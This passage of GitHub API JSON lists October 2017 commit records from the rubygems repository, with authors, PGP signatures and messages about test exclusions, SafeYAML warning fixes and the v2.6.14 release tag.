SIGNATURE-----\n\niQEzBAABCAAdFiEE50LR90JOo/3pIvdm+c8TQXJk+sIFAlnnDykACgkQ+c8TQXJk\n+sIEQgf/dDWwX7KWf8+CoPVBsmdzBAidFeNwCspxOMrWIMYOO+X7bYpOrFtytvc1\nqVPaws2ti8htBYwNkNwdYyVA/wfFexN/e9rGyRs0EmDw8Rwlil/VwRQQy4m7Axnk\neujQMmPwHc2qs0yC/VHN0CE6wcy8nzf+QllFK+Hzf/uKfOEl0tXIVJppThSJ58Kc\n2blkmDSkQHPnTDxyHfx2WEuEa+er5nkgLoihrhyzgV9scSNjJCJDz/VjA5OjP6gt\nr+Xz5K4P2Vn2Q5qv3xY2ieXLyICX9SmLRuROTd2QTxxy0oeE0pZxL2Z5zNoDVU7+\nv3q+RtkKRmMDFyWksETxXx/Kx1OUkA==\n=lJmY\n-----END PGP SIGNATURE-----","payload":"tree 4055a4f1b5361c41db9c509c384998fbdeead43e\nparent 56f688e0b115bce5d3a5ff9c2462e69ab7e851da\nauthor SHIBATA Hiroshi 1508314921 +0900\ncommitter SHIBATA Hiroshi 1508314921 +0900\n\nOnly ignored failing tests\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/fc93274ae8ec04c9013c8f301921d8779362cf22","html_url":"https://github.com/rubygems/rubygems/commit/fc93274ae8ec04c9013c8f301921d8779362cf22","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/fc93274ae8ec04c9013c8f301921d8779362cf22/comments","author":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"56f688e0b115bce5d3a5ff9c2462e69ab7e851da","url":"https://api.github.com/repos/rubygems/rubygems/commits/56f688e0b115bce5d3a5ff9c2462e69ab7e851da","html_url":"https://github.com/rubygems/rubygems/commit/56f688e0b115bce5d3a5ff9c2462e69ab7e851da"}]},{"sha":"56f688e0b115bce5d3a5ff9c2462e69ab7e851da","commit":{"author":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-10-18T07:53:55Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-10-18T07:53:55Z"},"message":"Temporary exclude bundler tests caused safe_yaml warnings.","tree":{"sha":"e015b97aa598c92e5c6ecfc80874690f5b76303d","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/e015b97aa598c92e5c6ecfc80874690f5b76303d"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/56f688e0b115bce5d3a5ff9c2462e69ab7e851da","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\niQEzBAABCAAdFiEE50LR90JOo/3pIvdm+c8TQXJk+sIFAlnnCLUACgkQ+c8TQXJk\n+sIxSQgA5cJUfcJO53NTCpxYfEXhi6u7RqS+QKIPEY2l1kc/R/tQFIxLyTYbCgTU\ngWTKcQ5EppPj7mWoHgbUD7MqQRXKjwaY8CW6bMRktVJO6GusK+X8Rs2TaZ9nKdQD\nCqhDZT33rKh+6/dUyiFxOQo0XHYN5I1f2Ke7bRm3a6HehpEAUbRy1FFfrihEgMC0\nUauXiw8BbFOXp26efHXgk/+8I0R+yCZy379isfDXeUWla/Cw+1s2vs3D8Gwp2O5b\ncpauBOV9XCETdDYT69OFfDBL/Ok36MEKiwuUFoUTBunr+DCDn+sk5AeJDszyEC/g\naMjBfeQ7qO5znpiHYuVGnIhPZdshJw==\n=GBdH\n-----END PGP SIGNATURE-----","payload":"tree e015b97aa598c92e5c6ecfc80874690f5b76303d\nparent 82719151049a17987989b089c5b0d81b1b8df507\nauthor SHIBATA Hiroshi 1508313235 +0900\ncommitter SHIBATA Hiroshi 1508313235 +0900\n\nTemporary exclude bundler tests caused safe_yaml warnings.\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/56f688e0b115bce5d3a5ff9c2462e69ab7e851da","html_url":"https://github.com/rubygems/rubygems/commit/56f688e0b115bce5d3a5ff9c2462e69ab7e851da","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/56f688e0b115bce5d3a5ff9c2462e69ab7e851da/comments","author":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"82719151049a17987989b089c5b0d81b1b8df507","url":"https://api.github.com/repos/rubygems/rubygems/commits/82719151049a17987989b089c5b0d81b1b8df507","html_url":"https://github.com/rubygems/rubygems/commit/82719151049a17987989b089c5b0d81b1b8df507"}]},{"sha":"dd9be859d376555963528a3ec69dabc6061c352f","commit":{"author":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-10-18T02:16:38Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-10-18T05:16:21Z"},"message":"Picked r60194 from ruby/ruby.\n\n https://github.com/ruby/ruby/commit/16b6fe17a3de009085ed61947cbc0a54644f6e95","tree":{"sha":"9537b812e0efed54421e043ba0554d1a867fa2d9","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/9537b812e0efed54421e043ba0554d1a867fa2d9"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/dd9be859d376555963528a3ec69dabc6061c352f","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/dd9be859d376555963528a3ec69dabc6061c352f","html_url":"https://github.com/rubygems/rubygems/commit/dd9be859d376555963528a3ec69dabc6061c352f","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/dd9be859d376555963528a3ec69dabc6061c352f/comments","author":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"82719151049a17987989b089c5b0d81b1b8df507","url":"https://api.github.com/repos/rubygems/rubygems/commits/82719151049a17987989b089c5b0d81b1b8df507","html_url":"https://github.com/rubygems/rubygems/commit/82719151049a17987989b089c5b0d81b1b8df507"}]},{"sha":"3e0fb7d906741b64f84e1ac74b9a1b1362e75e8a","commit":{"author":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-10-17T06:38:56Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-10-17T06:38:56Z"},"message":"Fix NoMethodError on bundler/inline environment\n\n Fixes #2041\n\n raw_require_paths returns nil variable when running with\n bundle/inline environment.","tree":{"sha":"d0764d1ec4930e8708076ba33fe1d65a431ad88f","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/d0764d1ec4930e8708076ba33fe1d65a431ad88f"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/3e0fb7d906741b64f84e1ac74b9a1b1362e75e8a","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\niQEzBAABCAAdFiEE50LR90JOo/3pIvdm+c8TQXJk+sIFAlnlpe8ACgkQ+c8TQXJk\n+sIEnwf+OnsJ1OzAaftCGGgVlcXr58kRwies4w2ELo2EFrpzcnPttKsXWzU595zG\nNhhIzLCMVww1tojE7HG+oxN1aNraugg4TRPZFReI7hTQ26m13tG1SHa0+2di+MgS\ncbiy2dNxmcW1TVRGHsgplc4NpIFZyooOK+5wb/NnUn4DkN0GNdOwiR4NaSHKZQMo\n9/P4L36mdmI5nO5cX0czW6dGE1yOHTOuVOcJ7tMfZn6lOb/QKxqN4mTvXf4jpHBl\nMuwzrwQY+2OZXKsEPzIsaO230yF+c4w5rrhy7OwNPt1/ysJbu5An7BblH6vhsEs0\nXfrGDOjxesf6d84baIlmY9H3Xo/Msw==\n=TZQ0\n-----END PGP SIGNATURE-----","payload":"tree d0764d1ec4930e8708076ba33fe1d65a431ad88f\nparent 82719151049a17987989b089c5b0d81b1b8df507\nauthor SHIBATA Hiroshi 1508222336 +0900\ncommitter SHIBATA Hiroshi 1508222336 +0900\n\nFix NoMethodError on bundler/inline environment\n\n Fixes #2041\n\n raw_require_paths returns nil variable when running with\n bundle/inline environment.\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/3e0fb7d906741b64f84e1ac74b9a1b1362e75e8a","html_url":"https://github.com/rubygems/rubygems/commit/3e0fb7d906741b64f84e1ac74b9a1b1362e75e8a","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/3e0fb7d906741b64f84e1ac74b9a1b1362e75e8a/comments","author":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"82719151049a17987989b089c5b0d81b1b8df507","url":"https://api.github.com/repos/rubygems/rubygems/commits/82719151049a17987989b089c5b0d81b1b8df507","html_url":"https://github.com/rubygems/rubygems/commit/82719151049a17987989b089c5b0d81b1b8df507"}]},{"sha":"295184237217c422c9a013e5870e2c7f91fc45dc","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-10-14T00:21:49Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-10-14T00:21:49Z"},"message":"Don''t use two postfix conditionals on one line.","tree":{"sha":"2ced7036cea33d7ce9b5441761621703cf636e28","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/2ced7036cea33d7ce9b5441761621703cf636e28"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/295184237217c422c9a013e5870e2c7f91fc45dc","comment_count":1,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/295184237217c422c9a013e5870e2c7f91fc45dc","html_url":"https://github.com/rubygems/rubygems/commit/295184237217c422c9a013e5870e2c7f91fc45dc","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/295184237217c422c9a013e5870e2c7f91fc45dc/comments","author":{"login":"duckinator","id":39698,"avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"82719151049a17987989b089c5b0d81b1b8df507","url":"https://api.github.com/repos/rubygems/rubygems/commits/82719151049a17987989b089c5b0d81b1b8df507","html_url":"https://github.com/rubygems/rubygems/commit/82719151049a17987989b089c5b0d81b1b8df507"}]},{"sha":"b32be07122b205ffa5a3bc60f1e2c540cabf6eb5","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-10-11T00:38:28Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-10-11T00:38:28Z"},"message":"[SafeYAML] Avoid warning when Gem::Deprecate.skip is set","tree":{"sha":"597e644fa5d5cb97d56576bc68e450377ca9aaaf","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/597e644fa5d5cb97d56576bc68e450377ca9aaaf"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/b32be07122b205ffa5a3bc60f1e2c540cabf6eb5","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIcBAABAgAGBQJZ3WgEAAoJEAEZW7MV3ahWtj0P/2w+uh4O98KrzpKMeOGWn7AW\nLG27HmhPcDd/snBsB6oYXwJirrFBxxyFsqhZ7V4CWkGZfTSLJr1+V+wH+CJXlG1h\nLiBauTnFlFkcePmaXpPaLduGgIJXyy4zpa68X+Vk/JO2PD2TQkgrU0Gs8efTyZMk\nOvKefYA4MLi26K3H3w3+QAdZU43+5kCHNISm2CEDHk3loIAWIkcwNve0McXRjRfA\nD2awnITBCabcegaAWgxjHo0ujlxKcE/5+R1Pjgvka3jTaY2pKyH/lGvRlntKBI0y\nEyIDdWnIRw896DfIoEpwMVNRMSwNHAdmwK8Vs92K7LJ7N5HZb3iGDhg3+nG6cNjX\na+fIK68mZfgk87DX64VHkztT04WlThJze4t2NSW7g63iM0AT0MJITiuWCq8SIQCk\nzJc8rhAPZpfkvnrjxGwlRLgh6wXehAC6ROX4k6ZuSnBjDzrzI/SpCdIcChPfZNiV\n9BghFFm7SbFfwK8OudxzgIF6wDz6BNgnqs2hzRbkyxhPxoUT59b186PN6LlOrWHv\nqlXWzSbhxm+P04KPdmulbh+y5MyTXA99mHKlG4tapbCPvKK6oyy13eXT9mpPFTBn\nsw8EbDfK1m6K6+lh8uColEL0ZMPu7Estwf2qxUDk4QMO32R+CitU5rMTfid/9sZb\nGk3myDtJNNF9cLnNj/jM\n=JUQD\n-----END PGP SIGNATURE-----","payload":"tree 597e644fa5d5cb97d56576bc68e450377ca9aaaf\nparent 82719151049a17987989b089c5b0d81b1b8df507\nauthor Samuel Giddins 1507682308 -0500\ncommitter Samuel Giddins 1507682308 -0500\n\n[SafeYAML] Avoid warning when Gem::Deprecate.skip is set\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/b32be07122b205ffa5a3bc60f1e2c540cabf6eb5","html_url":"https://github.com/rubygems/rubygems/commit/b32be07122b205ffa5a3bc60f1e2c540cabf6eb5","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/b32be07122b205ffa5a3bc60f1e2c540cabf6eb5/comments","author":{"login":"segiddins","id":1946610,"avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"82719151049a17987989b089c5b0d81b1b8df507","url":"https://api.github.com/repos/rubygems/rubygems/commits/82719151049a17987989b089c5b0d81b1b8df507","html_url":"https://github.com/rubygems/rubygems/commit/82719151049a17987989b089c5b0d81b1b8df507"}]},{"sha":"82719151049a17987989b089c5b0d81b1b8df507","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-10-10T03:05:03Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-10-10T03:05:03Z"},"message":"Merge tag ''v2.6.14''\n\nTagging v2.6.14.","tree":{"sha":"66909d4ee5336559eb64ed6f2e6563c2b2b773ee","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/66909d4ee5336559eb64ed6f2e6563c2b2b773ee"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/82719151049a17987989b089c5b0d81b1b8df507","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIcBAABAgAGBQJZ3DjfAAoJEAEZW7MV3ahWCZAP/AyELDVlxD9WwEjtqWOtdFCd\ns+Kr4MG5ZsrGwwANR1SkCTEFQTE7iZojtMtQRUiXa5/nIH/YnLuGQrffxPWaWdyc\n+jsE3GJi9jDaCk7hdZl854LZtzB2KOu9XGkA9SYdxGHOIXjnJ9S7CpRe7XDe90Al\nNuEEChCzUhWl9WO4q/myhZz8eEXmj9Gr92FibwmhKMcFq+hJ2cp9Bba03WCdVpof\nCDxfD8M8L0uDWLYZZERYf+/3xpj3ZNA6Gze1k92muETe0NEcIzwpi6Frnz/X7yDu\npVUsG3WAkom3M3juumv9BalrSbxlGHZxLljf4bzwmm73Jw3343ZiixSRFOIvXggC\n/Oz2lq9jkBi/4RxhejYPiCe6ggbXEACwXVTnBQKEk7eSJv2u6bg24wPQa2hs6ab5\n9dL/atC1ZRev5dxKPYBSCIGp9KmSV2kMxHv4v0NZ+QgoZXAYK5+PNGudTBSTc5Ix\n5/0IY1q04rbcZXueLDTNhrDxiSZiR1VL5PbBKjUBri7bcX/c2uUum3QU4A7Os17r\nhqbtmalYnuL45u+Pnlou0kTatC9umh50cHyCmygLBkr1ICsbcJ2z7ByaDFMlErC9\ndyGy3MXW3time3BiKKITwwi5LcVg2Izm+7o+iGuizDBVxMwTpHWugiTwu9L70e46\n29OoIUDDy/nGU7Q18YF3\n=X13M\n-----END PGP SIGNATURE-----","payload":"tree 66909d4ee5336559eb64ed6f2e6563c2b2b773ee\nparent be899d52b86f677fccd88bac4a45ef5afaf9f00e\nparent d396b461fbaf10ee8235b234ae970fb989a687d6\nauthor Samuel Giddins 1507604703 -0500\ncommitter Samuel Giddins 1507604703 -0500\n\nMerge tag ''v2.6.14''\n\nTagging v2.6.14.\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/82719151049a17987989b089c5b0d81b1b8df507","html_url":"https://github.com/rubygems/rubygems/commit/82719151049a17987989b089c5b0d81b1b8df507","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/82719151049a17987989b089c5b0d81b1b8df507/comments","author":{"login":"segiddins","id":1946610,"avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"be899d52b86f677fccd88bac4a45ef5afaf9f00e","url":"https://api.github.com/repos/rubygems/rubygems/commits/be899d52b86f677fccd88bac4a45ef5afaf9f00e","html_url":"https://github.com/rubygems/rubygems/commit/be899d52b86f677fccd88bac4a45ef5afaf9f00e"},{"sha":"d396b461fbaf10ee8235b234ae970fb989a687d6","url":"https://api.github.com/repos/rubygems/rubygems/commits/d396b461fbaf10ee8235b234ae970fb989a687d6","html_url":"https://github.com/rubygems/rubygems/commit/d396b461fbaf10ee8235b234ae970fb989a687d6"}]},{"sha":"d396b461fbaf10ee8235b234ae970fb989a687d6","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-10-10T02:59:51Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-10-10T03:01:08Z"},"message":"Version 2.6.14 with changelog","tree":{"sha":"aec45d93db44f02826da6911e6a8d809f5058e96","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/aec45d93db44f02826da6911e6a8d809f5058e96"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/d396b461fbaf10ee8235b234ae970fb989a687d6","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIcBAABAgAGBQJZ3Df0AAoJEAEZW7MV3ahWhWMP/3PWf+yKsdixZRtrA9eF0NgH\nrFkO2Skn6u8wefLkRCYJgT0e6UC79w9kQnhduaoXKy/8cupYx18DTsUgDid4IrS3\nJVA+O5IbTvxfo/GMz+JvP2DV7/5cNehKVH9znqexeI4byk5Hmd9xWGhiHFiS6pko\nNXy9nQ2uF3o05/e3ttLUXGBvEy4aJdsF1W67onnni8TQTd+miBR0wyv/ZSwUFqUz\nyjM/lMtzRNA8mUonupC3Z5lTzJ2+/VyIHiGsE7wkTAkdYoq9MTCzsBlPHBLIyHNh\n5qlLkewWMXdT+kL6fLKelUcSCzzTE8tQiCysfrKfIqVU6c3sygwLchH1qwQpjXG3\npmhAWvxGChLj3x5XjzROp7EDY0fM/pjwcCP95qZFWPCRU8+83i2O0346Diwo/Sh7\nKdRvLHWId6CVzIJSLTsIQbJ2ghtcRYCw+tQX3+X6mcWY16Vnw7I1iuV/gayQ6OMx\nQsh3H61inprYwV0fDtjT5+fa+xV0bTyT9Ht0M+/Bd88EC7GqNS/PCGn6816xuMA1\n4alECBbfgNOSR0ZtVXU6BDft0jx80Q55UGeIZ10u9Psk0zW9laYSPV50xnGFxcFb\nK5yN5vjoyiQLnoeMoTzXlu2KU6RN41IWqKSO+GwOBMoBBu3MB43lBgBG0wmzdOSh\n4krUm1YjJRkPQ0tlkexR\n=EmbK\n-----END PGP SIGNATURE-----","payload":"tree aec45d93db44f02826da6911e6a8d809f5058e96\nparent 510b1638ac9bba3ceb7a5d73135dafff9e5bab49\nauthor Samuel Giddins 1507604391 -0500\ncommitter Samuel Giddins 1507604468 -0500\n\nVersion 2.6.14 with changelog\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/d396b461fbaf10ee8235b234ae970fb989a687d6","html_url":"https://github.com/rubygems/rubygems/commit/d396b461fbaf10ee8235b234ae970fb989a687d6","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/d396b461fbaf10ee8235b234ae970fb989a687d6/comments","author":{"login":"segiddins","id":1946610,"avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://